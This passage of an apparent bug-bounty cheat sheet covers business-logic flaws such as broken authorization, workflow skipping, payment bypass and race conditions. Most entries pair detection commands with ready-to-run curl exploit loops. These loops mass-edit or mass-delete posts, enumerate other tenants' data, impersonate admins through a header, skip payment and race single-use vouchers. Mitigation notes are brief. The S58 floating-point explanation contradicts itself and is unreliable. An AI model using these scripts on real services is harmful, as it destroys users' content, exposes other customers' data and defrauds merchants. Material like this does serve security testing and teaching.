curl -X PATCH https://blog.com/posts/124 -H "Authorization: Bearer $TOKEN" -d '{"content":"hacked"}'
```

### Exploit
```bash
# Mass edit posts
for id in $(seq 1 10000); do
  curl -X PATCH "https://blog.com/posts/$id" -H "Authorization: Bearer $TOKEN" -d '{"content":"hacked by X"}' -o /dev/null
done
```

### Chain
1. Find edit endpoint
2. Enumerate IDs
3. Mass edit
4. Reputation damage

### Bypass / Notes
- Ownership check
- Authorization on every CRUD

---

## S34: Delete post via "Report as abuse" (Vanilla H1 #411075, $300)
**Context:** "Report as abuse" endpoint deletes the reported post without admin review. Attacker reports other users' posts → they get deleted.
**Seen in:** Vanilla H1 #411075 — 160 upvotes, $300.
**Impact:** Content destruction, DoS.

### Detection
```bash
# Report other user's post
curl -X POST https://forum.com/posts/456/report -H "Authorization: Bearer $TOKEN" -d '{"reason":"spam"}'
# Post deleted? No admin review?
```

### Exploit
```bash
# Mass delete posts
for id in $(seq 1 100000); do
  curl -X POST "https://forum.com/posts/$id/report" -H "Authorization: Bearer $TOKEN" -d '{"reason":"spam"}' -o /dev/null
done
```

### Chain
1. Find report endpoint
2. Enumerate posts
3. Report all
4. Mass deletion

### Bypass / Notes
- Require admin review before delete
- Limit reports per user
- Throttle

---

## S35: Approve own pending item in workflow
**Context:** Workflow has stages: submit → review → approve. User can call "approve" endpoint on their own submitted item.
**Seen in:** Real enterprise apps.
**Impact:** Bypass approval workflow.

### Detection
```bash
# 1. Submit item (Pending state)
curl -X POST https://app.com/items -d '{"name":"x"}'
# 2. Approve own item
curl -X POST https://app.com/items/123/approve -H "Authorization: Bearer $TOKEN"
# 3. Item now approved? No reviewer check?
```

### Exploit
```bash
# Auto-approve own submissions
# Bypass quality / security / finance review
```

### Chain
1. Submit item
2. Approve own
3. Skip review

### Bypass / Notes
- Role check: only reviewer can approve
- Audit trail

---

## S36: Skip workflow stage (Pending → Approved direct)
**Context:** Workflow Pending → Review → Approved. Endpoint allows direct Pending → Approved.
**Seen in:** Real.
**Impact:** Skip review.

### Detection
```bash
# Modify state directly
curl -X PATCH https://app.com/items/123 -H "Authorization: Bearer $TOKEN" -d '{"state":"approved"}'
# Item now approved without review?
```

### Exploit
```bash
# Skip to final state
# Bypass intermediate reviews
```

### Chain
1. Submit
2. Skip to approved
3. Bypass

### Bypass / Notes
- State machine enforcement
- Server-side state transitions

---

## S37: Multi-tenant data access via crafted tenant ID
**Context:** SaaS has tenant_id. API uses tenant from JWT, but accepts tenant_id param. Change tenant_id → other tenant's data.
**Seen in:** SaaS everywhere.
**Impact:** Multi-tenant data breach.

### Detection
```bash
# Get own tenant data
curl "https://saas.com/api/data?tenant_id=1" -H "Authorization: Bearer $TOKEN"
# Try other tenant
curl "https://saas.com/api/data?tenant_id=2" -H "Authorization: Bearer $TOKEN"
# Other tenant's data?
```

### Exploit
```bash
# Enumerate tenants
for tid in $(seq 1 1000); do
  curl -s "https://saas.com/api/data?tenant_id=$tid" -H "Authorization: Bearer $TOKEN" -o "tenant_$tid.json"
done
```

### Chain
1. Find tenant_id param
2. Enumerate
3. Access all tenants
4. Multi-tenant breach

### Bypass / Notes
- tenant_id from JWT only, not params
- Server-side tenant resolution

---

## S38: Admin action with user token via header injection
**Context:** User token has X-User-Id header. Changing header → impersonate admin.
**Seen in:** Real.
**Impact:** Privilege escalation.

### Detection
```bash
# Add X-User-Id: 1 (admin) to request
curl https://app.com/api/users -H "Authorization: Bearer $TOKEN" -H "X-User-Id: 1"
# Returns admin data?
```

### Exploit
```bash
# Impersonate admin
curl https://app.com/api/admin/users -H "Authorization: Bearer $TOKEN" -H "X-User-Id: 1"
```

### Chain
1. Find admin endpoints
2. Try with X-User-Id: 1
3. Admin access

### Bypass / Notes
- Never trust client headers
- Resolve user from token only

---

## S39: Bypass payment-required workflow step
**Context:** Workflow step requires payment. Skip payment → next step.
**Seen in:** Real.
**Impact:** Skip payment.

### Detection
```bash
# Step 1: Create item
curl -X POST https://app.com/items -d '{"name":"x"}'
# Step 2: Pay
# Normally: redirect to payment, then back
# Bypass: directly call step 3
curl -X POST https://app.com/items/123/activate -H "Authorization: Bearer $TOKEN"
# Activated without payment?
```

### Exploit
```bash
# Skip payment for all items
for id in $(seq 1 1000); do
  curl -X POST "https://app.com/items/$id/activate" -H "Authorization: Bearer $TOKEN" -o /dev/null
done
```

### Chain
1. Create items
2. Skip payment
3. Activate
4. Free service

### Bypass / Notes
- Server-side state machine
- Payment verification before activation

---

## S40: Approval of own role change
**Context:** User requests role change. Server requires admin approval. But request can self-approve.
**Seen in:** Real.
**Impact:** Privilege escalation.

### Detection
```bash
# Request admin role
curl -X POST https://app.com/role/change -d '{"role":"admin"}'
# Approve own request
curl -X POST https://app.com/role/approve/123 -H "Authorization: Bearer $TOKEN"
# Now admin?
```

### Exploit
```bash
# Self-elevate to admin
# Bypass approval workflow
```

### Chain
1. Request role change
2. Self-approve
3. Admin

### Bypass / Notes
- Approval by different user (admin only)
- 2-person integrity

---

## S41: Order state Pending → Delivered (skip Payment)
**Context:** State machine has Pending → Paid → Processing → Delivered. PATCH state allows direct Pending → Delivered.
**Seen in:** Real.
**Impact:** Skip payment, get goods.

### Detection
```bash
# Place order (Pending)
curl -X POST https://shop.com/orders -d '{"items":[1]}'
# PATCH state directly
curl -X PATCH https://shop.com/orders/123 -H "Authorization: Bearer $TOKEN" -d '{"state":"delivered"}'
# Shipped? No payment.
```

### Exploit
```bash
# Free goods
for item in 1 2 3 4 5; do
  curl -X POST https://shop.com/orders -d "{\"items\":[$item]}"
done
# PATCH all to delivered
```

### Chain
1. Order
2. Skip payment
3. Direct to delivered
4. Free goods

### Bypass / Notes
- Server-side state machine enforcement
- Cannot skip payment step

---

## S42: Refund before delivery
**Context:** Refund endpoint processes before delivery. Attacker refunds for orders not yet delivered.
**Seen in:** Real.
**Impact:** Free goods + refund.

### Detection
```bash
# Order not yet delivered
curl -X POST https://shop.com/orders/123/refund
# Refund processed? Item still in transit?
```

### Exploit
```bash
# Order + refund
curl -X POST https://shop.com/orders -d '{"items":[1]}'
# Wait for shipping
# Refund
curl -X POST https://shop.com/orders/123/refund
# Both: item + money
```

### Chain
1. Order
2. Wait for shipment
3. Refund
4. Free item + money

### Bypass / Notes
- Refund only after delivery + return
- Or partial refund based on state

---

## S43: Coupon applied to refunded order
**Context:** Order refunded but coupon "credit" still applied. Re-use coupon or get credit.
**Seen in:** Real.
**Impact:** Coupon reuse.

### Detection
```bash
# Order with coupon
curl -X POST https://shop.com/orders -d '{"items":[1],"coupon":"SAVE10"}'
# Refund
curl -X POST https://shop.com/orders/123/refund
# Coupon still valid?
curl -X POST https://shop.com/checkout -d '{"items":[2],"coupon":"SAVE10"}'
```

### Exploit
```bash
# Order + refund → coupon "credit" remains
# Or: refund gives back coupon
```

### Chain
1. Use coupon
2. Refund
3. Re-use coupon

### Bypass / Notes
- Lock coupon on first use
- Don't refund single-use coupons

---

## S44: Replay webhook → duplicate state change
**Context:** Server sends webhook. Attacker replays → duplicate state change (e.g., double payment received).
**Seen in:** Real.
**Impact:** Duplicate actions.

### Detection
```bash
# Capture webhook
# Replay it
curl -X POST https://target.com/webhook -H "X-Signature: ..." -d @captured.json
# Duplicate action?
```

### Exploit
```bash
# Replay payment confirmation
# Server processes twice
```

### Chain
1. Intercept webhook
2. Replay
3. Duplicate effect

### Bypass / Notes
- Idempotency keys
- HMAC + timestamp validation
- Process once per event ID

---

## S45: Status transition without proper guards (Pending → Delivered direct)
**Context:** Status update endpoint doesn't validate transitions. User can move from Pending to Delivered.
**Seen in:** Real.
**Impact:** Skip steps.

### Detection
```bash
curl -X PATCH https://app.com/orders/123 -H "Authorization: Bearer $TOKEN" -d '{"status":"delivered"}'
```

### Exploit
```bash
# Skip to final state
```

### Chain
1. Find status update endpoint
2. Test transitions
3. Skip steps

### Bypass / Notes
- State machine
- Server-side validation

---

## S46: Workflow item modified after approval
**Context:** Item is approved. User can still modify. Approval is meaningless.
**Seen in:** Real.
**Impact:** Bypass approval.

### Detection
```bash
# Item approved
# Modify after approval
curl -X PATCH https://app.com/items/123 -H "Authorization: Bearer $TOKEN" -d '{"content":"new"}'
```

### Exploit
```bash
# Submit for review
# After approval, modify to add malicious content
```

### Chain
1. Submit clean content
2. Get approved
3. Modify to malicious

### Bypass / Notes
- Lock after approval
- Or: approval invalidates on edit

---

## S47: Trial extension via re-signup with same payment method
**Context:** Free trial = 14 days. Cancel + re-signup with same card → another 14 days.
**Seen in:** Netflix, Spotify, etc. — most have fixed.
**Impact:** Unlimited trial.

### Detection
```bash
# Sign up
# Cancel
# Re-signup with same card
# Trial extended?
```

### Exploit
```bash
# Cancel + re-signup loop
for i in $(seq 1 100); do
  # Cancel current
  # Signup new
done
```

### Chain
1. Cancel
2. Re-signup
3. New trial

### Bypass / Notes
- Block re-signup with same card
- Lifetime trial limit
- Or: charge after trial, refund on cancel

---

## S48: Free trial across many emails (mass account creation)
**Context:** Free trial per email. Create many emails.
**Seen in:** Common.
**Impact:** Unlimited free tier.

### Detection
```bash
# Signup endpoint
# Mass create accounts
```

### Exploit
```bash
for i in $(seq 1 1000); do
  curl -X POST https://app.com/signup -d "{\"email\":\"u$i@$(uuidgen).com\"}"
done
```

### Chain
1. Mass signup
2. Each gets trial
3. Use indefinitely

### Bypass / Notes
- Block disposable emails
- Phone verification
- Card hold

---

## S49: Premium feature check client-side only
**Context:** Premium feature visible in UI. Server doesn't check on backend.
**Seen in:** Common.
**Impact:** Free premium.

### Detection
```bash
# 1. Find premium feature in UI
# 2. Use Burp to call API endpoint directly
curl -X POST https://app.com/premium-feature -H "Authorization: Bearer $TOKEN"
# Works for free user?
```

### Exploit
```bash
# Direct API call
curl -X POST https://app.com/api/premium-feature -H "Authorization: Bearer $TOKEN"
```

### Chain
1. Free account
2. Call premium endpoint
3. Free premium

### Bypass / Notes
- Server-side check on every premium feature

---

## S50: Manipulate response to grant access (Streamlabs Prime H1 #1070510)
**Context:** Server response contains premium status. Attacker modifies response.
**Seen in:** Real. Streamlabs Prime H1 #1070510, 79 upvotes, "Manipulating response leads to free access to Streamlabs Prime".
**Impact:** Free premium.

### Detection
```bash
# 1. Login as free user
# 2. Intercept response
# 3. Change "is_premium":false to true
```

### Exploit
```bash
# Use Burp Match & Replace or response interception
# Or modify local storage (mobile app)
```

### Chain
1. Free user
2. Modify response
3. Free premium

### Bypass / Notes
- Server-side check on every premium API
- Re-verify subscription on each call

---

## S51: Book same seat 100 times → DOS (race condition)
**Context:** Booking system checks seat availability, then books. Race condition allows double-booking.
**Seen in:** Airlines, hotels, events. Real.
**Impact:** DoS, double-booking.

### Detection
```bash
# 1. Two users try to book same seat simultaneously
# 2. Both succeed?
```

### Exploit
```bash
# Same user, 100 concurrent requests
for i in $(seq 1 100); do
  curl -X POST https://booking.com/book -d '{"seat":"A1","user":"u'$i'"}' &
done
wait
# Multiple "success" responses
```

### Chain
1. Identify popular seat
2. Mass concurrent bookings
3. DoS / double-booking

### Bypass / Notes
- Lock seat row in DB
- Optimistic concurrency

---

## S52: Inventory check then update (TOCTOU)
**Context:** Check stock, then reserve. Between check and reserve, other requests pass.
**Seen in:** Real.
**Impact:** Oversell.

### Detection
```bash
# 1. Last item in stock
# 2. Multiple users buy simultaneously
# 3. All succeed
```

### Exploit
```bash
# Same as S51
```

### Chain
1. Find low-stock item
2. Mass buy
3. Oversell

### Bypass / Notes
- Atomic decrement

---

## S53: Reserve more than available
**Context:** Reserve endpoint allows more than stock. No max check.
**Seen in:** Real.
**Impact:** Oversell.

### Detection
```bash
# Stock: 1
# Reserve 100
curl -X POST https://shop.com/reserve -d '{"item":1,"qty":100}'
```

### Exploit
```bash
# Reserve all stock
```

### Chain
1. Find low stock
2. Reserve all
3. DoS

### Bypass / Notes
- qty <= stock check

---

## S54: Cancel + rebook pattern
**Context:** Cancel booking, get refund. Rebook at cheaper price.
**Seen in:** Airlines.
**Impact:** Cheaper booking.

### Detection
```bash
# Book at high price
# Price drops
# Cancel + rebook at lower price
```

### Exploit
```bash
# Script: monitor price, cancel + rebook when lower
```

### Chain
1. Book
2. Price drops
3. Cancel + rebook
4. Save money

### Bypass / Notes
- Cancellation fees
- Or: monitor + rebook legitimate (no bug)

---

## S55: Hotel booking below minimum nights
**Context:** Hotel requires 2 nights min. Book 1 night.
**Seen in:** Real.
**Impact:** Bypass minimum.

### Detection
```bash
# Book 1 night when min is 2
curl -X POST https://hotel.com/book -d '{"nights":1}'
```

### Exploit
```bash
# Bypass min nights
```

### Chain
1. Book
2. Save money

### Bypass / Notes
- Server-side validation of min nights

---

## S56: Integer overflow in quantity
**Context:** Quantity field is 32-bit int. Set to MAX_INT → wraps to negative.
**Seen in:** Real.
**Impact:** Free items.

### Detection
```bash
# Add with qty = 2147483647
curl -X POST https://shop.com/cart -d '{"item":1,"qty":2147483647}'
# Server interprets as negative?
```

### Exploit
```bash
# Integer overflow → -1 → negative
```

### Chain
1. Add with MAX_INT
2. Wraps to negative
3. Free

### Bypass / Notes
- Use 64-bit, validate range

---

## S57: Quantity = MAX_INT in DB but rendered as 1
**Context:** DB stores MAX_INT. UI shows 1 due to rendering bug. Server uses DB value.
**Seen in:** Real.
**Impact:** Buy 1, get 2^31.

### Detection
```bash
# Add with qty = 2147483647
# UI shows 1
# Server processes MAX_INT
```

### Exploit
```bash
# UI / server mismatch
```

### Chain
1. Buy 1
2. Get 2 billion
3. Profit

### Bypass / Notes
- UI / server consistency

---

## S58: Decimal precision bug — 0.1 + 0.2 = 0.30000000000000004
**Context:** Float math. Sum of small amounts drifts.
**Seen in:** Common.
**Impact:** Money creation.

### Detection
```bash
# Add 0.1 to balance 100 times
# Expected: 10.0
# Actual: 9.99999999999998 (float) or 10.0 (decimal)
```

### Exploit
```bash
# If balance uses float:
# Each add: 0.1 (rounds to 0.10000000149...)
# After 100: 10.000000149...
# After 1000: ~10.000001
# But if rounding at display, system sees 10
# System has 10.000001 actual → drift
```

### Chain
1. Find float-based balance
2. Many small transactions
3. Drift accumulates
4. Withdraw drift

### Bypass / Notes
- Use Decimal/BigInt for money

---

## S59: Negative discount (> total) → negative checkout
**Context:** Discount > total. Total becomes negative. Customer gets credit.
**Seen in:** Common.
**Impact:** Money out of thin air.

### Detection
```bash
# Add $10 item + $100 coupon
curl -X POST https://shop.com/cart -d '{"items":[1],"coupon":"$100OFF"}'
# Total: -$90
```

### Exploit
```bash
# Stack coupons to make total negative
# Or use $100 off $10 item
```

### Chain
1. Add cheap item
2. Use huge coupon
3. Get credit

### Bypass / Notes
- Cap discount at total

---

## S60: Multiplication by negative
**Context:** Quantity * price * tax. If qty negative, total goes negative.
**Seen in:** Real.
**Impact:** Free money.

### Detection
```bash
# qty = -1, price = $100
# total = -1 * 100 = -$100
```

### Exploit
```bash
# Add with negative qty
```

### Chain
1. Same as S02

### Bypass / Notes
- Validate qty > 0

---

## S61: Flash sale race condition (Vietnamese case: voucher used multiple times)
**Context:** Flash sale voucher single-use. Race condition allows N uses.
**Seen in:** Real flash sales. Vietnamese researcher case (viblo.asia, May 2026). Industry-wide problem.
**Impact:** Voucher abuse.

### Detection
```bash
# 1. Single-use voucher
# 2. Send 100 concurrent requests
for i in $(seq 1 100); do
  curl -X POST https://shop.com/voucher/redeem -d '{"code":"FLASH50"}' &
done
wait
# Multiple succeed?
```

### Exploit
```bash
# Use parallel
seq 1 1000 | parallel -j 100 'curl -X POST https://shop.com/voucher/redeem -d "{\"code\":\"FLASH50\",\"user\":\"u\$RANDOM\"}"'
```

### Chain
1. Flash sale starts
2. Race condition exploited
3. Voucher used many times
4. Massive discount

### Bypass / Notes
- Atomic redemption (Redis WATCH or DB lock)
- Idempotency keys
- Queue-based redemption (first-come-first-served)

---

## S62: Double-spend wallet (Idempotency key expires)
**Context:** Wallet uses idempotency key. Key has TTL. After expiry, same request can be replayed.
**Seen in:** Real fintech. Viblo case study.
**Impact:** Double-spend.

### Detection
```bash
# 1. Transfer with idempotency key K
curl -X POST https://wallet.com/transfer -H "Idempotency-Key: K" -d '{"to":"x","amount":100}'
# 2. Wait for TTL to expire (e.g., 1 hour)
# 3. Replay
curl -X POST https://wallet.com/transfer -H "Idempotency-Key: K" -d '{"to":"x","amount":100}'
# Success again? Double-spend.
```

### Exploit
```bash
# Wait for TTL, then replay
```

### Chain
1. Find TTL of idempotency keys
2. Wait
3. Replay
4. Double-spend

### Bypass / Notes
- Idempotency keys should be permanent
- Or: bound to user + operation, not time

---

## S63: Concurrent token issuance (JWT issued twice, second one valid longer)
**Context:** Two concurrent login requests. First issues JWT with short exp. Second issues JWT with longer exp.
**Seen in:** Real.
**Impact:** Long-lived token from race.

### Detection
```bash
# 1. Two concurrent logins
curl -X POST https://app.com/login -d '{"u":"x","p":"y"}' &
curl -X POST https://app.com/login -d '{"u":"x","p":"y"}' &
wait
# Compare JWTs
# Different exp?
```

### Exploit
```bash
# Get long-lived token
```

### Chain
1. Concurrent logins
2. Get long-lived token
3. Use

### Bypass / Notes
- Consistent exp for all tokens

---

## S64: Concurrent check + use (TOCTOU)
**Context:** Check if user can do X, then do X. Between check and do, condition changes.
**Seen in:** Real.
**Impact:** Bypass check.

### Detection
```bash
# 1. User A has $100 balance
# 2. Two concurrent transfer $100
curl -X POST https://wallet.com/transfer -d '{"to":"x","amount":100}' &
curl -X POST https://wallet.com/transfer -d '{"to":"y","amount":100}' &
wait
# Both succeed? Balance went to -$100
```

### Exploit
```bash
# Mass concurrent transfers
```

### Chain
1. Identify check-then-update
2. Mass concurrent requests
3. Bypass check

### Bypass / Notes
- Atomic operations
- SELECT FOR UPDATE
- Optimistic locking

---

## S65: Race in 2FA setup
**Context:** Enable 2FA, then disable, then enable with attacker device. Race condition in transitions.
**Seen in:** Real.
**Impact:** ATO via 2FA.

### Detection
```bash
# 1. Enable 2FA
curl -X POST https://app.com/2fa/enable -d '{"token":"123456"}'
# 2. Quickly disable
curl -X POST https://app.com/2fa/disable
# 3. Enable with attacker's device
curl -X POST https://app.com/2fa/enable -d '{"token":"attacker_token"}'
```

### Exploit
```bash
# Race: enable + disable simultaneously with attacker
```

### Chain
1. Get password
2. Race 2FA setup
3. Attacker controls 2FA
4. ATO

### Bypass / Notes
- State machine
- Cooldown on 2FA changes

---

## S66: Replay attack on idempotent endpoint
**Context:** Endpoint is supposed to be idempotent (same request = same result). But attacker replays → multiple effects.
**Seen in:** Real.
**Impact:** Duplicate action.

### Detection
```bash
# 1. Send request with idempotency key K
# 2. Get result
# 3. Send same K again
# 4. Get duplicate effect?
```

### Exploit
```bash
# Replay until something breaks
```

### Chain
1. Find "idempotent" endpoint
2. Replay
3. Duplicate effect

### Bypass / Notes
- True idempotency (track in DB)
- Or: nonce + signature

---

## S67: Async processing race
**Context:** Endpoint kicks off async job. Multiple jobs can run for same request.
**Seen in:** Real.
**Impact:** Duplicate processing.

### Detection
```bash
# 1. Send request
# 2. Send same request quickly
# 3. Both jobs run?
```

### Exploit
```bash
# Race async jobs
```

### Chain
1. Find async endpoint
2. Race
3. Duplicate effect

### Bypass / Notes
- Idempotency key check at job start
- Lock job ID

---

## S68: Distributed race (multi-region)
**Context:** App deployed in multiple regions. Same operation in different regions. State not synced in real-time.
**Seen in:** Real.
**Impact:** Bypass regional limits.

### Detection
```bash
# Send same request to multiple regions
curl -X POST https://us.app.com/transfer -d '{"amount":100}' &
curl -X POST https://eu.app.com/transfer -d '{"amount":100}' &
wait
```

### Exploit
```bash
# Cross-region race
```

### Chain
1. Identify multi-region app
2. Race across regions
3. Bypass

### Bypass / Notes
- Global state store
- Or: per-region idempotency

---

## S69: Cron job race
**Context:** Cron job runs at interval. User can race with cron.
**Seen in:** Real.
**Impact:** Bypass cron-based limits.

### Detection
```bash
# 1. Cron job resets counter at midnight
# 2. Right before midnight, do X
# 3. Cron runs, resets
# 4. Right after midnight, do X again
```

### Exploit
```bash
# Time the race with cron
```

### Chain
1. Identify cron job
2. Time the race
3. Bypass

### Bypass / Notes
- Atomic counter
- Distributed locks

---

## S70: Same operation by user simultaneously (clicking "claim" twice)
**Context:** User clicks "claim reward" twice quickly. Server processes both → double reward.
**Seen in:** Common. Daily rewards, claim buttons.
**Impact:** Double reward.

### Detection
```bash
# 1. Click "claim" twice
# 2. Two requests in flight
# 3. Both process?
```

### Exploit
```bash
# Click twice quickly
# Or use script:
curl -X POST https://app.com/claim &
curl -X POST https://app.com/claim &
wait
```

### Chain
1. Find claim button
2. Click twice
3. Double reward

### Bypass / Notes
- Disable button after first click
- Server-side claim tracking
- Idempotency key

---
